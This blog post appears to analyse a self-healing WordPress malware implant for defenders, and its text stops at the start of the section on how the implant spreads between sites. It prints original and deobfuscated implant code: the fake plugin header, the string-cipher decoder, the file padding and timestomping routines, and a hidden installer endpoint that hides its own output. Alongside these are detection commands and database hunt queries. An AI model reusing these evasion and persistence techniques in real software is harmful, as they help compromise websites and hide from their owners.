laskov.dev

Notes on life, code, security and stuff worth paying attention to

Anatomy of a Self-Healing WordPress Implant

A worm that rebuilds itself from memory, the database, and your admins' browsers.

In this article
  1. 0. TL;DR for the impatient
  2. 1. Identification
  3. 2. Sample set
  4. 3. Hashes are dead and names are not...
  5. 4. Obfuscation, its key strength and biggest weakness
  6. 5. Execution order - five independent entry points
  7. 6. Steady state - how it heals
  8. 7. Why deleting files does not work - the nine nodes
  9. 8. How it reaches the next site
  10. 9. C2 and the browser channel
  11. 10. Eradication - the kill chain
  12. 11. Even self-healing worms ship broken code

I love WordPress. I truly do. It was the first thing I ever did that was even remotely close to programming. Hence, to this day - even though there are way better, more contemporary and sophisticated solutions out there, I still harness the love for the CMS, which has helped me put bread on my table for the better part of the last decade. So when Jump.bg reached out about a newly discovered type of WordPress attack, sharing their concern that it might spread to more of their clients, my first reaction was to help. I was driven by a genuine desire to assist them, combined with my personal and professional fascination with tackling such complex technical challenges.

Well, that one turned out to be way more interesting than I thought, hence - this first ever article from me in such technical depth. So here goes.

It calls itself SCV:4.3.24 internally, and it is the most stubborn commodity implant I have taken apart. It started off as SC 4.0.3 at the end of August, and in two weeks only it substantially evolved.

Now for the stubbornness, it comes not from the obfuscation (which is no more involved than in a lot of previous worms), but because it refuses to die: delete every file it owns and it rebuilds itself from the database, from shared memory, and - if you have logged into wp-admin from an uncleaned browser - from the service worker running on your own laptop.

I got a couple of samples, and here goes the story of: how it hides, how it heals, how it spreads to the sites next door not only on the same account but on the shared hosting server (yeah, that thing again), and the exact order you have to move in to kill it.

The whole mesh. I know it is complicated, but the worm's mechanics is. Click any node for its function name and line reference.

The SC 4.3.24 behavioral mesh - six phases plus the kill chain.

0. TL;DR for the impatient

If you are cleaning a live site right now, jump to #10, the kill chain.

Everything I used to find this and kill it is in this repo: github.com/ux2dev/wordpress-sc403-cleaner. Contributions are welcome.

1. Identification

Property Value
Internal version string /* SCV:4.3.24 */
Boot-guard constants SC_CORE_BOOT_VER, $GLOBALS['sc_boot_ver']
Observed plugin alias Elite Module Cue ("Reliable cron management utility")
Prior known aliases Trace Scanner Lite, trace-store-x
Content markers SC_DB_BEGIN, SC_ADV_BEGIN, SC_OC_BEGIN, SC_TH_BEGIN, SCD1:, SCSHM1:
Option namespace sc_* (sc_cron_guard, sc_spread_interval, sc_reins_*, sc_sw_last_url)

So, it starts as a MU-plugin (surprise, surprise) - but to make it more interesting, the plugin alias is disposable. The operator changes it per campaign. Do not build detection on the alias. Build it on the naming algorithm #3 and the structural markers. The fastest manual tell is a twin MU-plugin/plugin pair with the same slug: wp-content/mu-plugins/elite-module-cue.php and wp-content/plugins/elite-module-cue/elite-module-cue.php.

Here is the entire visible identity of the thing, and the boot guard, in one screen:

php
<?php
/**
 * Plugin Name:       Elite Module Cue
 * Plugin URI:        https://king.dev/plugins/elite-module-cue/
 * Description:       Reliable cron management utility
 * Version:           1.0.0
 * Author:            Ava King
 * License:           GPL-2.0-or-later
 * Text Domain:       elite-module-cue
 * Requires at least: 5.0
 * Requires PHP:      7.0
 */
/* SCV:4.3.24 */
if(!function_exists('g4q1a7y9nv85k88')&&!((defined('SC_CORE_BOOT_VER')&&version_compare((string)SC_CORE_BOOT_VER,'4.3.24','>='))||(isset($GLOBALS['sc_boot_ver'])&&version_compare((string)$GLOBALS['sc_boot_ver'],'4.3.24','>=')))){function wnev7ep34mne1($i){static $a=null;if($a===null){$a=array_merge(array('[H34[1/','Gci …

The header is a costume. Borrowed name, borrowed domain, a description dull enough that nobody clicks it.

This is the same family as the publicly documented "SC 4.0.3," several builds later. The differences that matter operationally: the 4.0.3 hash IoCs no longer apply (everything is padded now), there are two extra storage nodes, and a version-comparison boot guard means an older sample will refuse to overwrite a newer one.

How it gets in is the boring part

I want to get this out of the way early, because it is the question everybody asks first and it is the least interesting thing here.

There is no exploit anywhere in this codebase. I went looking specifically: no exec, no shell_exec, no system, no proc_open, no posix_*, no SUID tricks, no privilege escalation, no CVE for anything. Not one. The implant cannot break into a site. It has no idea how.

What it needs is one thing, from somewhere else entirely:

The ability to write a single PHP file into a directory where PHP will run it.

That is the entire entry cost. An out-of-date plugin with an arbitrary-file-write bug. A stale core. A nulled theme off a warez site. A reused FTP password. A wp-content sitting at 0777 because someone was debugging an upload problem in 2019 and never changed it back. Any one of those, on any one site, once.

Everything else described here - nine redundant copies, the kernel shared memory, the service worker living in your browser, the sites next door falling over one by one - is what happens after that single write lands. From that moment it needs nothing further from the attacker. No second stage, no hands on keyboard, no follow-up exploit. It bootstraps the rest by itself.

So the gap between "one forgotten plugin on one unimportant staging site" and "every WordPress install this account can reach is owned, and so is your laptop" is one file write. That asymmetry is the actual story. Every mechanism in the rest of this piece sits on top of a completely ordinary break-in - and it is also why hardening the entry point matters more than any scanner you can buy.

2. Sample set

I managed to recover the artifacts below, relative to wp-content/. The eight-hex components are site-specific and derived per #3.

Artifact Size Role
mu-plugins/elite-module-cue.php 6.9 MB Full core, auto-loaded
.sc_<hex>/core_<hex>.php 446 KB Unpadded canonical core
plugins/elite-module-cue/…php 6.3 MB Redundant twin
<hex>.php 191 KB Visible loader (auto_prepend_file target)
db.php / advanced-cache.php / object-cache.php - Drop-ins, load before plugins
.wp-object-cache-<hex>.dat (+ .lkg) 170 KB Compressed payload replica
<hex>.zip 126 KB Payload replica
themes/<active>/functions.php - SC_TH_BEGIN…SC_TH_END block

Look at the two big ones: 6.9 MB and 6.3 MB. Same code, different size, different hash. That is the padder doing its job (#7).

The only stable hash in the entire sample is the unpadded canonical core - verified byte-identical across the hidden cache copy, the zip, and the gzip inside the .dat:

text
0e0d2a0220a51603af3b2c4a5311514c77d00a5fd0e9f2467bf178d92460fb13

Everything on disk is padded, so it will never match that. Which is the whole point of the next section.

3. Hashes are dead and names are not...

... because every on-disk copy carries random padding. But the file names are deterministic. Every artifact name is md5(ABSPATH + role), truncated - where ABSPATH is WordPress's absolute install path (always ending in /) and role is a fixed short string. A defender who knows ABSPATH can compute every name the malware will use:

bash
# ── compute the malware's filenames yourself, from ABSPATH alone ──────────────
# ABSPATH ends in '/'. md5_str = md5 of the concatenation.
N_DIR=".sc_$(md5_str "${A}dir"   | cut -c1-8)"      # hidden staging dir
N_CORE="core_$(md5_str "${A}core" | cut -c1-8).php" # unpadded canonical core
N_OPT=$(md5_str "${A}opt"  | cut -c1-10)            # DB option key (10 chars)
N_HTL="$(md5_str "${A}htl"  | cut -c1-8).php"       # visible loader
N_LDR="$(md5_str "${A}ldr"  | cut -c1-8).php"       # hidden loader stub
N_ZIP="$(md5_str "${A}zip"  | cut -c1-8).zip"       # zip replica
N_OC=$(md5_str "${A}oc"   | cut -c1-8)              # object-cache .dat suffix
# roles observed: dir core g opt htl ldr zip inst oc own js wk

This is the single most useful defensive fact about the family. Feed it your ABSPATH and you get an exact hunt list.

And it does not stop at filenames. There are two more derivations, and I have not seen either published before. The first produces HTTP endpoints - actual URLs your admins' browsers talk to:

php
// ── derived endpoint IDs - my naming ─────────────────────────────────────────
function sc_derived_endpoint_id($role) {
    return (string) ( 91000000
        + ( hexdec(substr(md5($site_root . 'ep' . $role), 0, 7)) % 8999999 ) );
}
// roles: 'sw'   -> home_url('?p=<id>')  serves the malicious service worker JS
//        'inst' -> home_url('?p=<id>')  where the browser POSTs C2 payloads

The result is always an eight-digit number between 91000000 and 99999998, used as a WordPress post ID. A request to /?p=9XXXXXXX on a WordPress site is as close to a zero-false-positive signal as you will ever get - nobody has ninety-one million posts. And because you can compute the exact two IDs from ABSPATH, you can grep them out of archived access logs and find out which admin browsers got infected, and when, months after the files are gone.

The second produces database keys. Same idea as the filenames, one extra ingredient:

php
// ── my naming - opinionated, logic unchanged ─────────────────────────────────
function sc_derived_option_key($name) {
    return substr(md5( sc_site_root() . (string) 93819 . $name ), 0, 12);
}

Three things concatenated, hashed, truncated to twelve:

text
  ABSPATH            "/home/wpclient/public_html/"    <- you know this
+ the salt            "93819"                         <- constant, every build
+ the slot name       "bu"                            <- one of fourteen
= md5(...)            99f0f2a7d756...                 <- take the first 12

The salt is the same 93819 used for the forged timestamps in #7. One constant unlocks both families, which is a gift: find a watermarked file, and you have already got the number you need to compute every database key on the site.

Now the part that took me a while to appreciate. Those key names are never stored anywhere. Not in a config row, not in an index, not in the code. Grep the entire sample for 3401877c1abe and you get nothing - that string exists only in memory, on that one site, for the few milliseconds it takes to run the query. It is recomputed from scratch on every single call, because all three ingredients are already lying around at runtime: ABSPATH is a constant WordPress defined for it, 93819 is a literal in the code, and the slot name is a string-table entry.

So there is no configuration to find and delete. There never was. And before WordPress has booted - in the auto_prepend_file loader, where ABSPATH does not exist yet - it just derives the path itself and carries on:

php
// ── my naming - opinionated, logic unchanged ─────────────────────────────────
// No ABSPATH means WordPress hasn't bootstrapped, i.e. we really are running as
// the auto_prepend_file. Walk up at most four levels looking for "wp-content".
if (!defined('ABSPATH')) {
    $dirCursor = dirname(__FILE__);
    for ($i = 0; $i < 4; $i++) {
        if (basename($dirCursor) === 'wp-content') { $wpContentDir = $dirCursor; break; }
        $dirCursor = dirname($dirCursor);
    }
    // …and if advanced-cache.php carries our markers, switch WP_CACHE on so
    // WordPress loads that drop-in later in this same request.
    if (!defined('WP_CACHE') || !WP_CACHE) {
        $head = (string) file_get_contents($wpContentDir . '/advanced-cache.php', false, null, 0, 8192);
        if (strpos($head, 'SC_ADV_BEGIN:') !== false || strpos($head, '/* SCV:') !== false) {
            @define('WP_CACHE', true);
        }
    }

Sit with what the key is derived from: your own install path. Something completely public to anyone on the box. The XOR-with-a-random-byte on the values protects nothing - byte zero is the key, stored in clear. It exists so the value does not look like text when you scroll past it. The real hiding is in the names, and the names are only hidden from someone who does not know ABSPATH - which is nobody with access to the server.

It is symmetric by construction. They compute; you compute.

One observable falls out of that. Move an infected site to a different path and every derived name changes, so the implant silently orphans its own state and starts writing a fresh set. Hex-named rows that do not match your current ABSPATH therefore mean the site was migrated while infected - worth knowing, because the service worker URL in those orphaned rows is still registered in somebody's browser.

The slot names are fixed. There are fourteen, and all of them are in the code:

text
sw_url  sw_cached  sw_config  sw_config_sig  srv_key  page_cached
js_cached  src  issued  bp  bu  ic  errors     …plus the empty name

So the whole keyspace is fourteen md5() calls. You are not searching for these rows, you are computing them:

bash
A="/home/wpclient/public_html/"
for n in sw_url sw_cached sw_config sw_config_sig srv_key page_cached \
         js_cached src issued bp bu ic errors ""; do
  printf '%-14s %s\n' "${n:-(empty)}" \
    "$(printf '%s' "${A}93819${n}" | md5sum | cut -c1-12)"
done

Paste that list into an IN (...) and you have every implant row in the options table, by name, before you have looked at a single value.

Values are wrapped in a trivial codec - a random key byte, prepended, XORed over the serialised value, base64'd:

php
// ── my naming - opinionated, logic unchanged ─────────────────────────────────
$serialised = serialize($value);
$k          = chr(mt_rand(1, 255));          // one random byte, stored in clear
$out        = '';
for ($i = 0; $i < strlen($serialised); $i++) {
    $out .= chr(ord($serialised[$i]) ^ ord($k));
}
update_option($optionName, base64_encode($k . $out), 'no');

Which means you can decode one in your head, near enough. Base64-decode, take byte 0, XOR everything after it by that byte. If bytes 1 and 2 come out as s: or a: you have a PHP serialised string or array and you have got it right.

And look at what the slot names are hiding. sw_cached is the actual JavaScript being served to your administrators. issued is which of them currently hold forged 14-day sessions, and until when.

Write that down, because here is the trap: neither of those rows starts with sc_. Every cleanup script I have seen, including the first version of mine, does DELETE FROM wp_options WHERE option_name LIKE 'sc\_%' and destroys the two most valuable pieces of evidence on the entire system.

Here is what they look like in a real dump. Scroll a compromised wp_options table and you will find rows like this scattered among the legitimate ones.

On the sample data. These rows come from a real infection. I swapped the site's identifiers - the install path, the hostname, the generated account and its password - and re-encoded the values so they still decode correctly under the malware's own codec. The structure, the algorithm and the lengths are untouched.

text
4849e89f424c    4.3.24|php.euc-eludom-etile
3401877c1abe    bR5XXlhXTwUZGR0eV0JCGhoaQwgVDAAdAQhDDgIAQlIdUFRVXlpbWV9dT1Y=
99f0f2a7d756    OEsCCgwCGllcVVFWUUtMSllMV0pnD10JWgFbDFwIChoD
5c9659c9ab74    E2ApIScpMSB1KnIhcCR2JnciK3EjJyUicCR1ciogdjEo
ebbf87d7bae1    DX43Pj83L286aTk8aD1sOz9uNGs+ODU8bGloOTpuPW8/OzQ4az5pLzY=

Twelve hex characters, every time. That is the tell - md5(...) truncated to 12 - and it is why they look like WordPress transient garbage and get skipped.

Run the codec over them and they stop being garbage:

text
3401877c1abe  ->  s:35:"https://www.example.com/?p=98376420";
99f0f2a7d756  ->  s:24:"administrator_7e1b9c4d02";
5c9659c9ab74  ->  s:24:"3f9a2c7e5d18b0461c7fa93e";
ebbf87d7bae1  ->  s:32:"b7d41e0a62c9f3581ade47c0b2695f3d";

The first is the service-worker URL (#9). The second and third are a hidden administrator account and its password, sitting in the options table in reversible form - so the operator can re-read their own backdoor credentials from any site they own, and so can you. The fourth is a configuration signature.

And look at 4849e89f424c, which is not even encoded:

text
4.3.24|php.euc-eludom-etile

Read it backwards: elite-module-cue.php. The implant stores its own filename reversed so that an administrator grepping the database for the plugin slug they just found on disk gets no hits. It is the same instinct as 'S' . 'ELECT' and INSE\x52T from #7 and #8 - simple but effective against every tool that looks for literals.

4. Obfuscation, its key strength and biggest weakness

Every protected file uses the same three-part scheme: a string table built by array_merge(...), a decoder implementing a monoalphabetic substitution over two alphabets, and identity wrappers so call sites vary.

A note on the code in this article. From here on you will see a lot of paired listings, and each half is labelled. obfuscated - the original code is verbatim from the sample - byte for byte, including the ugly whitespace. my naming is the same code made readable: I resolved the string table, folded the arithmetic-obfuscated constants back into plain numbers, and renamed every function and variable. The name says "my" because that half is opinionated - it is my reading of what the code is for, not a canonical decompilation, and somebody else would have picked different words.

The malware's own identifiers look like $w57a0qwglejqfen and g4q1a7y9nv85k88 and carry no meaning whatsoever, so I gave them names that describe what they actually do. The logic, the constants and the control flow are unchanged - nothing added, nothing removed, nothing "cleaned up" into something it wasn't. Where the original does something genuinely odd (in my opinion), the readable version does it too.

Here is a real one, from the installer sample. The table and the decoder live on the same line of the file, about 2 KB apart - which is not an accident:

php
// ── obfuscated - the original code ───────────────────────────────────────────
if(!function_exists('x3i7vsi4g1usrb')){
function pd_m09rpskzqv2f($i){
  static $a=null;
  if($a===null){$a=array_merge(
    array('ztk(l${k_Tb$RlR','$R_RlS$kN','RlS?Tk','rSTN_STr?<(T','$R_RlS$kN',
          'ztk(l${k_Tb$RlR','ztk(l${k_Tb$RlR',':l_S<kg','z$?TR$}T','g$Sk<:T',
          '$R_$kl','z$?T:l$:T','z$?T_NTl_({klTklR','RtLRlS','SlS$:', 

/* …~2 KB further right, still the same line… */

function x3i7vsi4g1usrb($i){
  $e=pd_m09rpskzqv2f($i);
  $f='_scu'.'np/'.'(\\r'.'?*['.'0-9a'.'f]'.'{1,'.'})+$'.'dtem'.'ilok'.'h>b'
    .'yv<g'.'TOK'.'EN'.'PARS'.'qWM'.'ULGI'.'D.'.' C'.'V:='.'BHw'.'XY'.'Zz'.'64x2'.'j53';
  $t='_R(t'.'krW'.'h>Sw'.' G='.'y]<'.'ze'.'60/'.'9c'.'-vgl'.'T:$'.'?{[3'.'1LA+'
    .'pN'.'DiUj'.'dCO)'.'EPq'.'mu'.'Knx'.'M2I'.',5B*'.'4.'.'HZaX'.'}\\'.'fbsV'.'Yo';
  $r="";
  for($j=0;$j<strlen($e);$j++){
    $p=strpos($t,$e[$j]);
    $r.=($p===false)?$e[$j]:$f[$p];
  }
  return $r;
}
function p4c9ocir6($i){$j=$i+0;return x3i7vsi4g1usrb($j);}   // identity wrappers,
function verm9qqqud6($i){$j=$i+0;return x3i7vsi4g1usrb($j);} // so no single name
function q4xsfzqmac($i){return x3i7vsi4g1usrb($i);}          // dominates the graph

// ── my naming - the same code, opinionated identifiers ───────────────────────
function sc_string_table($index) {
    static $table = null;
    if ($table === null) $table = array(/* ~2,500 substitution-ciphered strings */);
    return $table[$index];
}

function sc_decode($index) {
    $ciphered       = sc_string_table($index);
    $plainAlphabet  = '_scunp/(\r?*[0-9af]{1,})+$dtemilokh>byv<gTOKENPARSqWMULGID. CV:=BHwXYZz64x2j53';
    $cipherAlphabet = '_R(tkrWh>Sw G=y]<ze60/9c-vglT:$?{[31LA+pNDiUjdCO)EPqmuKnxM2I,5B*4.HZaX}\fbsVYo';
    $out = '';
    for ($i = 0; $i < strlen($ciphered); $i++) {
        $pos  = strpos($cipherAlphabet, $ciphered[$i]);
        $out .= ($pos === false) ? $ciphered[$i] : $plainAlphabet[$pos];   // first match wins
    }
    return $out;
}

Both alphabets are split into four-character chunks purely so that grepping for a recognisable alphabet finds nothing. Two things you must get right if you re-implement it: strpos returns the first match, so if a character appears twice in $t the first wins; and characters not in $t pass through unchanged.

Run it by hand on table entry 0, ztk(l${k_Tb$RlR, and out comes function_exists.

Now the payoff:

php
// ── obfuscated - the original code ───────────────────────────────────────────
if (!q4xsfzqmac(0)('_sc_unp')) {
function _sc_unp($w57a0qwglejqfen) {
    if (!x3i7vsi4g1usrb(1)($w57a0qwglejqfen) || p4c9ocir6(2)($w57a0qwglejqfen) <= (1048571+5))
        return $w57a0qwglejqfen;
    $devwjbvsyfg51ppp = q4xsfzqmac(3)('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/', "", $w57a0qwglejqfen);
    return verm9qqqud6(4)($devwjbvsyfg51ppp) ? $devwjbvsyfg51ppp : $w57a0qwglejqfen;
}

// ── my naming - the same code, opinionated identifiers ───────────────────────
if (!function_exists('sc_strip_padding')) {
function sc_strip_padding($source) {
    if (!is_string($source) || strlen($source) <= 1048576)          // under 1 MB, can't be padded
        return $source;
    $stripped = preg_replace('/(\r?\n\/\*[0-9a-f]{1000,}\*\/)+$/', '', $source);
    return is_string($stripped) ? $stripped : $source;
}

Four table lookups become function_exists, is_string, strlen and preg_replace. Note what happened to the call sites: q4xsfzqmac(0)('_sc_unp') is not a string lookup, it is a dynamic call - PHP will happily invoke a function whose name arrives as a string, so the entire standard library is reachable by table index and not one library function name appears anywhere in the file.

And notice (1048571+5). It never writes 1048576. Every numeric constant in the whole codebase is an arithmetic expression, so a scanner hunting for 1048576 or 93819 or 0644 comes back empty. Folding those is a second mechanical pass, and it is the difference between "decoded" and "actually readable".

Here is what both passes look like on a single line - the endpoint derivation from #3:

php
// ── obfuscated - the original code ───────────────────────────────────────────
return (string) ((0x288eef6+0x2e39dca) + ((int) hexdec(obeujotfynbs(365)(r_o1os1s6vg8j(179)(
    e058l9hnxarq68() . vpm16ghycg(397) . $gahu8za03es1ceva), 0, (0x4+0x3))) % (4830688+4169311)));

// ── after pass 1: string table resolved, and still completely unreadable ─────
return (string) ((0x288eef6+0x2e39dca) + ((int) hexdec(substr(md5(
    e058l9hnxarq68() . 'ep' . $gahu8za03es1ceva), 0, (0x4+0x3))) % (4830688+4169311)));

// ── after pass 2: constants folded, identifiers named ────────────────────────
function sc_derived_endpoint_id($role) {
    return (string) (91000000 + (hexdec(substr(md5(sc_site_root() . 'ep' . $role), 0, 7)) % 8999999));
}

0x288eef6 + 0x2e39dca is 91000000. 0x4+0x3 is 7. 4830688+4169311 is 8999999. That middle block is the one I want you to look at, because it is what most "deobfuscated" malware dumps actually look like - the strings are back, and you still cannot read a line of it.

It is fully reversible statically - hence even workable with an LLM. A generic deobfuscator that locates every decoder by the $e/$f/$t idiom, rebuilds the substitution map, and rewrites every W(n) call site resolved 5,547 call sites with 0 unresolved across a 2,557-entry table on this sample. The obfuscation is a speed bump, not a wall.

What it does buy the operator is real, though, and worth saying out loud: the strings eval, base64_decode, shell_exec, system and preg_replace appear nowhere in the file. Every signature scanner that works by grepping for known-bad function names sees a clean file. That is the entire purpose.

5. Execution order - five independent entry points

Here is where the design turns nasty. On every HTTP request the payload gets five independent chances to run, starting even before WordPress boots.

Five entry points, from auto_prepend_file to the plugin twin, converging on the boot guard.
  1. Pre-WordPress - .htaccess sets php_value auto_prepend_file to the visible loader; on PHP-FPM it uses a .user.ini variant. This runs before a single line of WordPress.
  2. wp-config.php - a define('WP_CACHE', true); /* SC_WC */ pulls in advanced-cache.php (marker SC_ADV_BEGIN) before any plugin.
  3. db.php - the WordPress DB drop-in, loaded before MU-plugins.
  4. object-cache.php - reads the hidden .dat replica.
  5. MU-plugin core + plugin twin + theme functions.php block - the auto-loaded MU-plugin cannot be deactivated from the admin.

All five converge on a boot guard keyed on SC_CORE_BOOT_VER / sc_boot_ver: only the highest-version replica initializes; the rest no-op. That is what frustrates "reinstall an old sample to study it" - the live copy wins.

There is a sixth entry point that is not on the list because it is not a file: ?p=<derived id>, handled at the very top of the MU-plugin, at file scope, not on a hook. It answers before WordPress can route the request:

php
// ── my naming - opinionated; logic and constants unchanged ───────────────────
function sc_handle_p_param_endpoints() {
    if (!isset($_GET['p']) || !is_string($_GET['p'])) return;
    if ($_GET['p'] === sc_derived_endpoint_id('inst')) {
        $installerPath = $cacheDir . '/' . substr(md5(ABSPATH . 'inst'), 0, 8) . '.php';
        if (filesize($installerPath) > 500 && filesize($installerPath) <= 5242880) {
            include $installerPath;                       // run it for the side effects
        }
        while (ob_get_level() > 0 && @ob_end_clean()) {}  // swallow anything it printed
        header('HTTP/1.1 404 Not Found');
        exit;
    }
    // …the 'sw' branch serves the service worker JavaScript, #9
}
sc_handle_p_param_endpoints();   // called immediately, not hooked

That ob_end_clean() loop is the tell. It runs the installer, then deliberately throws away every byte the installer printed, and hands the caller a clean 404. Whatever happened, happened silently.

6. Steady state - how it heals

Once the core is active, the request is served normally (no visible symptom), then fastcgi_finish_request() + ignore_user_abort() hand the visitor their page while the malware keeps the CPU. In that detached tail it runs a health map (sc_build_health_map, L2205) covering every node - drop-ins, loaders, the MU/plugin twin, the theme block, the guard heartbeat, the service worker - and rebuilds whatever is missing.

Steady state: detach the response, build the health map, heal missing nodes, keep the guard daemon alive.

And it counts your deletion attempts in sc_reins_*, logged internally as tug_of_war (L7302). I originally read that as telemetry. It is not. Look:

php
// ── my naming. in the original, the two 3s are (0x1+0x2) and (196^199) ───────
function sc_reinstall_allowed($key) {              // consulted BEFORE each rewrite
    $rec = @get_option('sc_reins_' . $key, "");    // format: "<day>|<count>"
    if (is_string($rec) && strpos($rec, '|') !== false) {
        $parts = explode('|', $rec, 2);
        if ((int) $parts[0] === (int)(time() / 86400) && (int) $parts[1] >= 3) return false;
    }
    return true;
}

function sc_reinstall_count_tick($key) {
    // …
    @update_option('sc_reins_' . $key, $today . '|' . $count, 'no');
    if ($count >= 3) sc_record_error('dropin', 'tug_of_war ' . $key);
}

Three per drop-in per day, and sc_reinstall_allowed() gates the rewrite. So:

Delete the same drop-in three times in one day and it stops coming back - until midnight UTC. Your cleanup looks like it worked. It did not. The counter resets and the file returns.

If you have ever cleaned a WordPress site, gone home happy, and found it dirty the next morning, this is a very good candidate for why.

You can read the scoreboard straight out of the options table:

text
sc_reins_adv   20700|2      <- advanced-cache.php rebuilt twice today
sc_reins_db    20700|2      <- db.php rebuilt twice today
sc_reins_oc    20700|1      <- object-cache.php once
sc_ini_fail    3            <- .user.ini write failed three times…
sc_ini_dead    1788509859   <- …so the circuit breaker opened, 24h ago
sc_ht_fail     1
sc_fetch_fails 5            <- C2 unreachable five times

20700 is the day number. Two of the three drop-ins are one rebuild away from the cap - somebody was deleting them. And sc_ini_dead being set means the implant broke that site badly enough that its own canary refused the write and it gave up on .user.ini persistence for the day. Sure enough, the same table carries WordPress's recovery_mode_email_last_sent from around the same window: the site had been fataling.

That is the whole argument for reading these rows before you delete them. They are a timeline of the fight, written by the other side.

A separate CLI PHP daemon (sc_install_guard_daemon, L7434) is spawned via include_once and kept alive by a heartbeat (sc_is_guard_alive, L9956); an hourly loopback cron fires even with zero visitors. The daemon lives in process memory, not in a file - remember that for #10.

Do not go looking for those cron jobs by name, though. Here is the real cron option from an infected site, cleaned up:

text
1788506926  zvdcgmrr7smxjwpo_ky                        hourly              3600
1788507220  sc_cron_guard                              sc_guard_interval    600
1788509509  e1pw88l550vjcok7s5pcd                      hourly              3600
1788580871  sc_cron_fetch                              sc_interval        36000
1788507636  wp_privacy_delete_old_export_files         hourly              3600
1788516746  wp_update_user_counts                      twicedaily         43200

Four implant jobs sitting in the same array as WordPress's own. Two of them are named sc_* and two are not - zvdcgmrr7smxjwpo_ky and e1pw88l550vjcok7s5pcd are per-build random strings. So the obvious SELECT ... WHERE option_value LIKE '%sc\_cron%' finds half the cron persistence and leaves the hourly rebuild running. Read the whole cron array and treat any hook name you cannot attribute to an installed plugin as hostile.

Note there is no exec() anywhere in this. The daemon is spawned by including a PHP file that forks and detaches itself, which is why disable_functions=exec, shell_exec,system does exactly nothing here - and why popen and proc_open belong on that list instead.

The guard keeps a little family of state files, all suffixed md5(ABSPATH.'g')[0:8], and they are among the most useful things on a compromised box:

File Holds Why you care
.g_<hex>.php the guard script the daemon itself
.gl_<hex> mtime only heartbeat; under 4 min = alive
.gm_<hex> md5 of the guard tamper pin - hash mismatch and it deletes rather than runs
.gv_<hex> version string refuses to downgrade a newer guard
.gs_<hex> ts|pid|1|version the PID you need to kill
.gp_<hex> e.g. /opt/alt/php84/usr/bin/php the exact interpreter to look for in ps

7. Why deleting files does not work - the nine nodes

This is the part that trips everyone up, so let me lay out all nine copies explicitly. Six are files. Three are not.

# Node File? Form
1 mu-plugins/<slug>.php yes padded core
2 plugins/<slug>/<slug>.php yes padded twin
3 .sc_<hex>/core_<hex>.php yes unpadded canonical core
4 <hex>.zip yes zip replica, byte-identical core
5 .wp-object-cache-<hex>.dat + .lkg yes SCD1:<ver>:<md5>: + base64(gzip)
6 wp-content/<htl>.php yes visible loader, ~168 KB gzip template embedded
7 wp_options row md5(ABSPATH+opt)[0:10] no base64(gzip(core))
8 SysV shared memory, ftok(wp-config.php) no SCSHM1:<len>:<sha256> + bytes
9 The service worker in an admin's browser no not even on your machine

The three drop-ins (db.php, advanced-cache.php, object-cache.php) and the theme block are not on this list on purpose - they are execution entry points and healers (#5), not copies of the payload. They know how to fetch it; they do not contain it.

When any node needs its bytes back, sc_recover_source_bytes (L7603) walks a seven-tier fallback across those nine nodes:

The source-recovery chain. Tiers 5 (shared memory) and 2 (database) survive deletion of every file.
  1. Its own file, padding stripped (sc_strip_own_padding, L7742) - nodes 1, 2, 6
  2. The DB option md5(ABSPATH+opt) - node 7, base64 + gzip (the older write-ups say XOR here; there is no XOR on this row, I checked)
  3. .sc_<hex>/core_<hex>.php - node 3
  4. .wp-object-cache-<hex>.dat and its .lkg - node 5
  5. SysV shared memory, keyed with ftok(wp-config.php), header SCSHM1 (sc_shm_recover, L7193) - node 8, survives all file deletion
  6. <hex>.zip - node 4
  7. A fresh download from C2 - fed by node 9

Node 9 never appears in that walk because it works the other way round: the browser does not give the server bytes, it uploads them through your own admin session (#9).

Whatever tier wins, the recovered bytes go back out through the anti-forensic writer. This is the real code, folded to readable literals:

php
// ── the polymorphic write, my naming. why hashes are useless here. ───────────
// obfuscated, the first line reads:
//   (3924903+1575097) + oiq0havtj(1161)(0,(2684922-1184922))
// mt_rand() itself is behind a table index, and both bounds are sums.
$targetSize = 5500000 + mt_rand(0, 1500000);          // 5.5-7.0 MB, chosen per write
if (strlen($content) >= $targetSize) return $content;
if (substr(rtrim($content), -2) === '?>') return $content;   // don't break the page

while (strlen($content) < $targetSize - 4100) {
    $hexChunk = bin2hex(random_bytes(2000));          // 4000 hex chars per block
    $content .= "\n/*" . $hexChunk . '*/';
}
php
// …and it only pads when the account can afford it - filling a shared host's
// quota gets the account suspended, which would kill the infection.
$free = @disk_free_space($dir);
if ($free !== false && $free >= 157286400) $paddingEnabled = true;   // 150 MiB
if (!$paddingEnabled) {
    @update_option('sc_pad_off_ts', time(), 'no');    // remember, and stay off
} elseif (time() - (int) get_option('sc_pad_off_ts', 0) < 86400) {
    $paddingEnabled = false;                          // …for a full day
}
php
// ── atomic write + timestomp - my naming ─────────────────────────────────────
// the writer: tempnam() -> write -> rename(), so the file is never seen half-written
// then the mtime is forced onto a fixed residue, and the file goes chmod 0444
function sc_timestomp_file($path) {
    $t = sc_choose_timestomp_time();
    return touch($path, ($t - ($t % 100000)) + 93819);   // raw: (99964+36) and (93723+96)
}

Two takeaways. First, the size band is an IoC even though the hash is not: every padded node lands between 5.5 and 7.0 MB, which is why the sample's two big copies are 6.9 and 6.3 MB. find wp-content -name '*.php' -size +5000k -size -7100k is a thirty-second first sweep.

Second, the forged-timestamp tell is worth memorizing: any file whose mtime % 100000 == 93819 is suspect. One line finds them all:

bash
find /home/user -name '*.php' -printf '%T@ %p\n' 2>/dev/null \
  | awk '{ if (int($1) % 100000 == 93819) print $2 }'

Both of those show up in the database too. The implant keeps its own file inventory in sc_persist_manifest, and it is the cleanest confirmation of the timestomp you will ever get:

text
…/mu-plugins/elite-module-cue.php     6933818|1788593819
…/wp-content/db.php                    215646|1605193819
…/themes/twentytwentyfive/functions.php 196738|1788506921

1788593819 % 100000 = 93819. 1605193819 % 100000 = 93819. But look at the second one again: 1605193819 is November 2020. It does not just set the residue - it backdates the drop-in by five years, so db.php looks like it has been sitting there since the site was built. The file you would least suspect is the one it aged the most.

But node 8 is the one that matters. Shared memory is in the kernel, not the filesystem - you can rm every file on the account and the next request rebuilds all of them from RAM. Nothing you do on disk can clear it. Only restarting the PHP pool can.

8. How it reaches the next site

The spread routine (sc_spread_to_other_sites, L5916) is throttled by the sc_spread_interval transient, then it maps the blast radius from the very sandbox meant to contain it:

Lateral spread: enumerate WordPress roots, then activate the payload in a sibling's own database.

